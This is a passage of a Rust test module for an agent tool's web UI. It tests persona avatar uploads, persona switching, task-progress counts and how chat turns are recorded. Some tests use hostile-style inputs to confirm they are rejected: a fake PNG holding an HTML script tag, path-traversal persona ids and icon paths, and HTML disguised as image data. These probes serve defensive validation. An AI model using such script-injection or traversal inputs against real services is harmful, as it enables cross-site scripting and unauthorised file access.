14356        assert_eq!(view.talk.pending_messages[0].display, Some(display));
14357        assert_eq!(
14358            view.talk.turns[0].messages[0].sender,
14359            Some(talk::Sender::Magi)
14360        );
14361        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14362        conversation.completion_notices[0]
14363            .notice
14364            .push_str("different");
14365        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14366        assert!(view.talk.turns[0].messages.is_empty());
14367        assert!(view.talk.pending_messages.is_empty());
14368    }
14369
14370    #[tokio::test]
14371    async fn avatar_settings_report_states_and_inherit_after_corruption() {
14372        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14373        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14374            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14375        ))
14376        .await;
14377        let path = avatar_setting_path(home.path(), Some("rei"));
14378        let orphan = avatar_setting_path(home.path(), Some("removed"));
14379        save_icon_file(&orphan, icon).unwrap();
14380        for (saved, expected) in [
14381            (icon, "custom"),
14382            ("builtin", "builtin"),
14383            ("data:image/png;base64,!!!!", "inherit"),
14384            ("data:image/png;base64,PGh0bWw+", "inherit"),
14385            ("/tmp/avatar.png", "inherit"),
14386        ] {
14387            atomic_icon_write(&path, saved).unwrap();
14388            let catalog =
14389                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14390                    .await
14391                    .unwrap()
14392                    .0;
14393            let personas = catalog["personas"].as_array().unwrap();
14394            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14395            assert_eq!(rei["override_state"], expected);
14396            assert_eq!(rei["has_config_icon"], true);
14397            assert_eq!(rei["is_orphan"], false);
14398            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14399            assert_eq!(removed["override_state"], "custom");
14400            assert_eq!(removed["is_orphan"], true);
14401            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14402            assert_eq!(default["override_state"], "inherit");
14403            assert_eq!(default["has_config_icon"], false);
14404            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14405            assert_eq!(
14406                effective.as_deref(),
14407                Some(if expected == "builtin" { "" } else { icon })
14408            );
14409        }
14410    }
14411
14412    #[tokio::test]
14413    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14414        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14415        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14416            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14417        ))
14418        .await;
14419        let target = |id: Option<&str>| AvatarSettingsQuery {
14420            persona: id.map(str::to_owned),
14421            ..Default::default()
14422        };
14423        let original_config = config_for(&repo).await.unwrap();
14424        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14425        let original_prompt = persona::section_for(&original_persona, None);
14426        let before = talk_detail(State(ui.clone()), Path(id.clone()))
14427            .await
14428            .unwrap()
14429            .0;
14430        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14431            let _ = avatar_settings_put(
14432                State(ui.clone()),
14433                Query(target(persona)),
14434                Json(MagiIconUpload { icon: icon.into() }),
14435            )
14436            .await
14437            .unwrap();
14438            let path = avatar_setting_path(home.path(), persona);
14439            assert!(path.starts_with(home.path().join("avatars")));
14440            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14441            for bad in [
14442                "/tmp/image.png".to_owned(),
14443                "data:image/png;base64,!!!!".to_owned(),
14444                "data:image/png;base64,PGh0bWw+".to_owned(),
14445                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14446                format!(
14447                    "data:image/png;base64,{}",
14448                    "A".repeat(persona_icon::ICON_MAX_BYTES)
14449                ),
14450            ] {
14451                assert!(
14452                    avatar_settings_put(
14453                        State(ui.clone()),
14454                        Query(target(persona)),
14455                        Json(MagiIconUpload { icon: bad })
14456                    )
14457                    .await
14458                    .is_err()
14459                );
14460                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14461            }
14462        }
14463        assert!(read_magi_icon(home.path()).is_none());
14464        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14465        let after = talk_detail(State(ui.clone()), Path(id.clone()))
14466            .await
14467            .unwrap()
14468            .0;
14469        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14470        assert_ne!(
14471            before
14472                .personas
14473                .iter()
14474                .find(|p| p.id == "magi")
14475                .unwrap()
14476                .avatar,
14477            after
14478                .personas
14479                .iter()
14480                .find(|p| p.id == "magi")
14481                .unwrap()
14482                .avatar
14483        );
14484        let restarted = Arc::new(Ui::new(
14485            Queue::at(home.path().join("queue")),
14486            Questions::at(home.path().join("questions")),
14487            Talks::at(home.path().join("talks")),
14488            home.path().join("runs"),
14489            home.path().to_owned(),
14490            repo,
14491        ));
14492        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14493            .await
14494            .unwrap()
14495            .0;
14496        assert!(
14497            catalog["personas"]
14498                .as_array()
14499                .unwrap()
14500                .iter()
14501                .any(|p| p["id"] == "../custom/日本語")
14502        );
14503        for expected in ["custom", "default", "rei"] {
14504            assert!(
14505                catalog["personas"]
14506                    .as_array()
14507                    .unwrap()
14508                    .iter()
14509                    .any(|p| p["id"] == expected)
14510            );
14511        }
14512        let response =
14513            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14514        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14515        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14516            .await
14517            .unwrap();
14518        assert_eq!(
14519            effective_persona_icon(home.path(), "rei", Some(icon)),
14520            Some(String::new())
14521        );
14522        let response = talk_avatar(
14523            State(restarted.clone()),
14524            Path(id.clone()),
14525            Query(AvatarQuery {
14526                persona: Some("rei".into()),
14527                ..Default::default()
14528            }),
14529        )
14530        .await
14531        .unwrap();
14532        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14533        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14534            .await
14535            .unwrap()
14536            .0;
14537        assert_ne!(
14538            after
14539                .personas
14540                .iter()
14541                .find(|p| p.id == "rei")
14542                .unwrap()
14543                .avatar,
14544            reset
14545                .personas
14546                .iter()
14547                .find(|p| p.id == "rei")
14548                .unwrap()
14549                .avatar
14550        );
14551        let mut inherit = target(Some("rei"));
14552        inherit.inherit = Some("1".into());
14553        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14554            .await
14555            .unwrap();
14556        assert_eq!(
14557            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14558            Some(icon)
14559        );
14560        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14561            .await
14562            .unwrap();
14563        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14564        assert_eq!(
14565            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14566            Some(icon)
14567        );
14568        // Display changes never rewrite the conversation or its prompt-bearing config.
14569        let cfg = config_for(&ui.repo).await.unwrap();
14570        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14571        assert_eq!(persona::section_for(&resolved, None), original_prompt);
14572        assert!(!original_prompt.contains("data:image"));
14573        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14574        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14575        assert!(!stored.contains("data:image"));
14576        let mut orphan = ui.talks.get(&id).unwrap();
14577        orphan.persona = "../custom/日本語".into();
14578        let view = TalkView::with_config(
14579            orphan,
14580            false,
14581            Some(&cfg),
14582            home.path(),
14583            &id_links::IndexCache::default(),
14584        );
14585        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14586    }
14587
14588    #[tokio::test]
14589    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14590        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14591        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14592        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14593        let _ = magi_icon_put(
14594            State(ui.clone()),
14595            Json(MagiIconUpload { icon: icon.into() }),
14596        )
14597        .await
14598        .unwrap();
14599        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14600        assert_ne!(original, changed);
14601        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14602        let response = magi_avatar(
14603            State(ui.clone()),
14604            Query(AvatarQuery {
14605                persona: None,
14606                builtin: None,
14607            }),
14608        )
14609        .await;
14610        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14611        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14612        assert_eq!(
14613            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14614            "nosniff"
14615        );
14616        for bad in [
14617            "data:image/png;base64,PGh0bWw+".to_owned(),
14618            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14619            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14620        ] {
14621            assert!(save_magi_icon(home.path(), &bad).is_err());
14622            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14623        }
14624        // Re-opened server state reads the same independent home file.
14625        let restarted = Arc::new(Ui::new(
14626            Queue::at(home.path().join("queue")),
14627            Questions::at(home.path().join("questions")),
14628            Talks::at(home.path().join("talks")),
14629            home.path().join("runs"),
14630            home.path().to_path_buf(),
14631            repo,
14632        ));
14633        assert_eq!(
14634            magi_icon_get(State(restarted.clone())).await.0["avatar"],
14635            changed
14636        );
14637        let view = TalkView::with_config(
14638            restarted.talks.get(&id).unwrap(),
14639            false,
14640            None,
14641            &restarted.home,
14642            &restarted.references,
14643        );
14644        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14645        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14646        let response = magi_avatar(
14647            State(ui.clone()),
14648            Query(AvatarQuery {
14649                persona: None,
14650                builtin: None,
14651            }),
14652        )
14653        .await;
14654        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14655            .await
14656            .unwrap();
14657        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14658        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14659        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14660        let _ = magi_icon_delete(State(ui)).await.unwrap();
14661    }
14662
14663    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
14664    async fn avatar(
14665        ui: &Arc<Ui>,
14666        id: &str,
14667        persona: Option<&str>,
14668        builtin: bool,
14669    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14670        let res = talk_avatar(
14671            State(Arc::clone(ui)),
14672            Path(id.to_owned()),
14673            Query(AvatarQuery {
14674                persona: persona.map(str::to_owned),
14675                builtin: builtin.then(|| "1".to_owned()),
14676            }),
14677        )
14678        .await
14679        .expect("an avatar is never an error response");
14680        let h = res.headers();
14681        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14682        let nosniff = h
14683            .get(header::X_CONTENT_TYPE_OPTIONS)
14684            .is_some_and(|v| v == "nosniff");
14685        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14686        let status = res.status();
14687        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14688            .await
14689            .expect("body")
14690            .to_vec();
14691        (status, ct, nosniff, csp, body)
14692    }
14693
14694    fn tiny_png() -> Vec<u8> {
14695        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14696        b.extend_from_slice(&[0u8; 32]);
14697        b
14698    }
14699
14700    #[tokio::test]
14701    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14702        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14703        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14704        assert_eq!(res.status(), StatusCode::OK);
14705        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14706        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14707        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14708        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14709        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14710            .await
14711            .unwrap();
14712        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14713        assert_ne!(
14714            persona_icon::operator_svg(),
14715            persona_icon::builtin_svg("default")
14716        );
14717    }
14718
14719    #[tokio::test]
14720    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14721        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14722        for p in [
14723            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14724        ] {
14725            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14726            assert_eq!(status, StatusCode::OK, "{p}");
14727            assert_eq!(ct, "image/svg+xml", "{p}");
14728            assert!(nosniff && csp, "{p}");
14729            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14730        }
14731        // No `persona` means the conversation's own; unknown ones fall back.
14732        let own = avatar(&ui, &id, None, false).await;
14733        let default = avatar(&ui, &id, Some("default"), false).await;
14734        assert_eq!(own.4, default.4);
14735        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14736        assert_eq!(unknown.1, "image/svg+xml");
14737    }
14738
14739    #[tokio::test]
14740    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14741        let dir = TempDir::new().expect("icons");
14742        let good = dir.path().join("good.png");
14743        std::fs::write(&good, tiny_png()).unwrap();
14744        let spoof = dir.path().join("spoof.png");
14745        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14746        let big = dir.path().join("big.png");
14747        let mut bytes = tiny_png();
14748        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14749        std::fs::write(&big, bytes).unwrap();
14750        let missing = dir.path().join("missing.png");
14751        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14752        let extra = format!(
14753            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14754             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14755             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14756             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14757             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14758             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14759            uri(&good),
14760            uri(&spoof),
14761            uri(&big),
14762            uri(&missing),
14763        );
14764        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14765
14766        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14767        assert_eq!(
14768            (status, ct.as_str(), nosniff),
14769            (StatusCode::OK, "image/png", true)
14770        );
14771        assert_eq!(body, tiny_png());
14772        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14773        assert_eq!(ct, "image/png", "data URI");
14774
14775        for p in ["misato", "asuka", "shinji", "magi"] {
14776            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14777            assert_eq!(
14778                (status, ct.as_str(), csp),
14779                (StatusCode::OK, "image/svg+xml", true),
14780                "{p}"
14781            );
14782            assert!(body.starts_with(b"<svg"), "{p}");
14783        }
14784        // The page's own retry skips the icon.
14785        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14786        assert_eq!(ct, "image/svg+xml");
14787    }
14788
14789    #[tokio::test]
14790    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14791        let oversized = format!(
14792            "data:image/png;base64,{}",
14793            "A".repeat(persona_icon::ICON_MAX_BYTES)
14794        );
14795        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14796            let extra = format!(
14797                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14798            );
14799            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14800            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14801                .await
14802                .expect("detail with invalid icon");
14803            assert!(detail.personas.iter().any(|p| p.id == "custom"));
14804            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14805            assert_eq!(status, StatusCode::OK);
14806            assert_eq!(ct, "image/svg+xml");
14807            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14808            let Json(view) = talk_persona(
14809                State(Arc::clone(&ui)),
14810                Path(id.clone()),
14811                Json(TalkPersona {
14812                    persona: "custom".into(),
14813                }),
14814            )
14815            .await
14816            .expect("persona switch with invalid icon");
14817            assert_eq!(view.talk.persona, "custom");
14818            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14819        }
14820    }
14821
14822    #[tokio::test]
14823    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14824        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14825        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14826        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14827        assert_eq!(
14828            (status, ct.as_str(), nosniff, csp),
14829            (StatusCode::OK, "image/svg+xml", true, true)
14830        );
14831    }
14832
14833    #[tokio::test]
14834    async fn the_talk_view_carries_server_built_avatar_urls_only() {
14835        let (_t, _h, ui, id, _repo) =
14836            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14837        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14838            .await
14839            .expect("detail");
14840        let json = serde_json::to_string(&detail).unwrap();
14841        assert!(
14842            !json.contains("secret"),
14843            "the icon setting must not leak: {json}"
14844        );
14845        assert!(
14846            detail
14847                .view
14848                .persona_avatar
14849                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14850        );
14851        assert_eq!(
14852            detail.view.operator_avatar,
14853            format!(
14854                "/avatars/operator.svg?v={}",
14855                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14856            )
14857        );
14858        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14859        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14860        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14861        assert!(rei.avatar.contains("persona=rei&v="));
14862        assert_ne!(
14863            rei.avatar.split("&v=").nth(1),
14864            plain.avatar.split("&v=").nth(1)
14865        );
14866    }
14867
14868    #[tokio::test]
14869    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14870        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14871        let cfg = config_for(&repo).await.unwrap();
14872        for arrived in [false, true] {
14873            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14874            let observed = ui.queued_generation(&id);
14875            let talk = ui.talks.get(&id).unwrap();
14876            if arrived {
14877                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14878            }
14879            let mut settling = std::pin::pin!(settle_settings_turn(
14880                talk,
14881                ui.talks.clone(),
14882                cfg.clone(),
14883                id.clone(),
14884                turn,
14885                observed
14886            ));
14887            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14888            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14889            assert_eq!(first.is_pending(), arrived);
14890            if arrived {
14891                assert!(!settling.await);
14892            }
14893            assert!(!ui.is_thinking(&id));
14894        }
14895    }
14896
14897    #[tokio::test]
14898    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14899        let tmp = TempDir::new().expect("tempdir");
14900        let repo = tmp.path().join("repo");
14901        std::fs::create_dir_all(&repo).expect("repo dir");
14902        std::fs::write(
14903            repo.join("magi.toml"),
14904            format!(
14905                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14906            ),
14907        )
14908        .expect("write magi.toml");
14909        let home = TempDir::new().expect("temp home");
14910        let talks = Talks::at(home.path().join("talks"));
14911        let ui = Arc::new(
14912            Ui::new(
14913                Queue::at(home.path().join("queue")),
14914                Questions::at(home.path().join("questions")),
14915                talks.clone(),
14916                home.path().join("runs"),
14917                home.path().to_path_buf(),
14918                repo.clone(),
14919            )
14920            .with_worktrees_root(home.path().join("wt")),
14921        );
14922        let cfg = config_for(&repo).await.expect("discover config");
14923        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14924        let id = talk.id.clone();
14925        let call = |persona: &str| {
14926            talk_persona(
14927                State(Arc::clone(&ui)),
14928                Path(id.clone()),
14929                Json(TalkPersona {
14930                    persona: persona.to_owned(),
14931                }),
14932            )
14933        };
14934
14935        let unknown = call("nobody").await.expect_err("unknown persona");
14936        assert_eq!(
14937            unknown.status,
14938            StatusCode::BAD_REQUEST,
14939            "{}",
14940            unknown.message
14941        );
14942
14943        {
14944            // Nothing refused so far took a claim, so the guard is free to take
14945            // and holding it is what makes the talk busy.
14946            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14947            let busy = call("rei").await.expect_err("busy talk");
14948            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14949            assert!(
14950                busy.message.contains("a talk turn is running"),
14951                "{}",
14952                busy.message
14953            );
14954            drop(guard);
14955        }
14956        assert_eq!(talks.get(&id).expect("reload").persona, "");
14957
14958        let Json(view) = call("gendo").await.expect("switch to a configured persona");
14959        assert_eq!(view.talk.persona, "gendo");
14960        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14961        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14962        // No intervening I/O or sleep may be needed before another change.
14963        for chosen in ["default", "gendo", "rei", "gendo"] {
14964            let Json(view) = call(chosen).await.expect("immediate consecutive change");
14965            assert!(!view.thinking);
14966            assert!(!ui.is_thinking(&id));
14967        }
14968
14969        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14970            .await
14971            .expect("detail");
14972        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14973        assert_eq!(ids.first(), Some(&"default"));
14974        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14975
14976        let Json(view) = call("default").await.expect("back to default");
14977        assert_eq!(view.talk.persona, "");
14978
14979        let mut closed = talks.get(&id).expect("reload");
14980        talk::close(&mut closed, &talks).expect("close");
14981        let refused = call("rei").await.expect_err("closed talk");
14982        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14983        assert!(
14984            refused.message.contains("takes no more turns"),
14985            "{}",
14986            refused.message
14987        );
14988    }
14989
14990    #[tokio::test]
14991    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14992        let f = Fixture::start().await;
14993        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14994        let queue = f.queue();
14995        let mut mine = Task::new(
14996            "rename the loader".to_owned(),
14997            "rename the loader".to_owned(),
14998            PathBuf::from("/repo/magi"),
14999            Source::Agent {
15000                run: talk_id.clone(),
15001                node: "chat".to_owned(),
15002            },
15003        );
15004        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15005        assert_eq!(empty["task_progress"]["state"], "none");
15006        assert_eq!(empty["task_progress"]["total"], 0);
15007        queue.put(&mut mine).expect("file the task");
15008        let mut theirs = Task::new(
15009            "unrelated".to_owned(),
15010            "unrelated".to_owned(),
15011            PathBuf::from("/repo/magi"),
15012            Source::Human,
15013        );
15014        // A later task linked through origin_chat alone is outside this list.
15015        theirs.origin_chat = Some(talk_id.clone());
15016        queue.put(&mut theirs).expect("file the task");
15017
15018        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15019        assert_eq!(res.status, 200, "{}", res.body);
15020        let body = res.json();
15021        assert_eq!(
15022            body["status"], "open",
15023            "filing a task does not close a talk"
15024        );
15025        let tasks = body["tasks"].as_array().expect("tasks array");
15026        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15027        assert_eq!(tasks[0]["id"], mine.id);
15028        for status in [
15029            TaskStatus::Queued,
15030            TaskStatus::Running,
15031            TaskStatus::Held,
15032            TaskStatus::Failed,
15033            TaskStatus::Blocked,
15034            TaskStatus::Parked,
15035            TaskStatus::Done,
15036            TaskStatus::Queued,
15037        ] {
15038            mine.status = status;
15039            queue.put(&mut mine).expect("update status");
15040            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15041            let progress = &detail["task_progress"];
15042            assert_eq!(progress["total"], 1);
15043            assert_eq!(progress["counts"][status.as_str()], 1);
15044            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15045            assert_eq!(detail["status"], "open", "completion never closes the chat");
15046            if status == TaskStatus::Done {
15047                assert_eq!(progress["state"], "complete");
15048                assert_eq!(progress["done"], 1);
15049                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15050            } else {
15051                assert_eq!(progress["state"], "incomplete");
15052                assert_eq!(progress["done"], 0);
15053                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15054            }
15055        }
15056    }
15057
15058    #[test]
15059    fn talk_task_progress_counts_mixed_statuses() {
15060        let mut tasks: Vec<_> = [
15061            TaskStatus::Queued,
15062            TaskStatus::Running,
15063            TaskStatus::Held,
15064            TaskStatus::Failed,
15065            TaskStatus::Blocked,
15066            TaskStatus::Parked,
15067            TaskStatus::Done,
15068        ]
15069        .into_iter()
15070        .map(|status| {
15071            let mut task = Task::new(
15072                "task".into(),
15073                "task".into(),
15074                PathBuf::from("/repo"),
15075                Source::Human,
15076            );
15077            task.status = status;
15078            task
15079        })
15080        .collect();
15081        let progress = talk_task_progress(&tasks);
15082        assert_eq!(progress.state, "incomplete");
15083        assert_eq!(progress.total, 7);
15084        assert_eq!(progress.done, 1);
15085        assert_eq!(progress.unfinished_ids.len(), 6);
15086        assert!(progress.counts.values().all(|count| *count == 1));
15087        assert_eq!(
15088            progress.unfinished_ids,
15089            tasks[..6]
15090                .iter()
15091                .map(|task| task.id.clone())
15092                .collect::<Vec<_>>()
15093        );
15094
15095        for task in &mut tasks {
15096            task.status = TaskStatus::Done;
15097        }
15098        let complete = talk_task_progress(&tasks);
15099        assert_eq!(complete.state, "complete");
15100        assert_eq!(complete.done, 7);
15101        assert!(complete.unfinished_ids.is_empty());
15102        tasks[0].status = TaskStatus::Queued;
15103        let requeued = talk_task_progress(&tasks);
15104        assert_eq!(requeued.state, "incomplete");
15105        assert_eq!(requeued.done, 6);
15106        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15107
15108        let empty = talk_task_progress(&[]);
15109        assert_eq!(empty.state, "none");
15110        assert_eq!(empty.total, 0);
15111        assert_eq!(empty.done, 0);
15112        assert!(empty.unfinished_ids.is_empty());
15113        assert!(empty.counts.values().all(|count| *count == 0));
15114    }
15115
15116    #[tokio::test]
15117    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15118        let (_tmp, _repo, f) = talk_fixture().await;
15119        let id = f.post("/api/talks", None).await.json()["id"]
15120            .as_str()
15121            .expect("id")
15122            .to_owned();
15123
15124        let res = f
15125            .post(
15126                &format!("/api/talks/{id}/say"),
15127                Some(r#"{"text":"what does the queue module do?"}"#),
15128            )
15129            .await;
15130        assert_eq!(res.status, 202, "{}", res.body);
15131        let queued = res.json();
15132        let turns = queued["turns"].as_array().expect("turns array");
15133        assert_eq!(
15134            turns.len(),
15135            1,
15136            "the answer reflects only what is on disk the instant it is sent, \
15137             before the agent's turn - which can run for the whole of \
15138             `[graph] timeout_talk` - has a chance to land: {queued}"
15139        );
15140        assert_eq!(turns[0]["who"], "operator");
15141        assert_eq!(turns[0]["body"], "what does the queue module do?");
15142        assert_eq!(
15143            queued["thinking"], true,
15144            "the accepted response exposes the background turn claim: {queued}"
15145        );
15146
15147        let mut turns_after = 1;
15148        for _ in 0..SETTLE_STEPS {
15149            let detail = f.get(&format!("/api/talks/{id}")).await.json();
15150            turns_after = detail["turns"].as_array().expect("turns array").len();
15151            if turns_after == 2 {
15152                break;
15153            }
15154            tokio::time::sleep(Duration::from_millis(10)).await;
15155        }
15156        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15157    }
15158
15159    /// A phone that reloads mid-request drops `talk_say`'s whole handler
15160    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
15161    /// guards against: `talk::record` used to return, and only *then* did the
15162    /// handler make a second, separate disk round trip before spawning the
15163    /// agent's reply task. A future dropped in that gap left a message
15164    /// recorded on disk with no reply task ever started and no way back short
15165    /// of a fresh message - and the gap was not even the whole story: *any*
15166    /// `.await` in this handler, including the very first one, is a point
15167    /// where a drop can land after the awaited work already finished but
15168    /// before this handler's own code resumes to act on it. `record` now
15169    /// runs inside the task `tokio::spawn` hands to the runtime before this
15170    /// handler ever awaits anything of its own again, so there is nothing
15171    /// left in *this* handler's future for a disconnect to interrupt between
15172    /// the message landing on disk and the reply task starting.
15173    ///
15174    /// A real socket disconnect cannot be relied on to land in the old gap
15175    /// from a test - over loopback, `talk_say` typically finishes before the
15176    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
15177    /// same failure mode directly: it drops the task's future at whatever
15178    /// point it has reached, exactly what axum does to the handler future,
15179    /// without needing to win a real network race. Sweeping the delay before
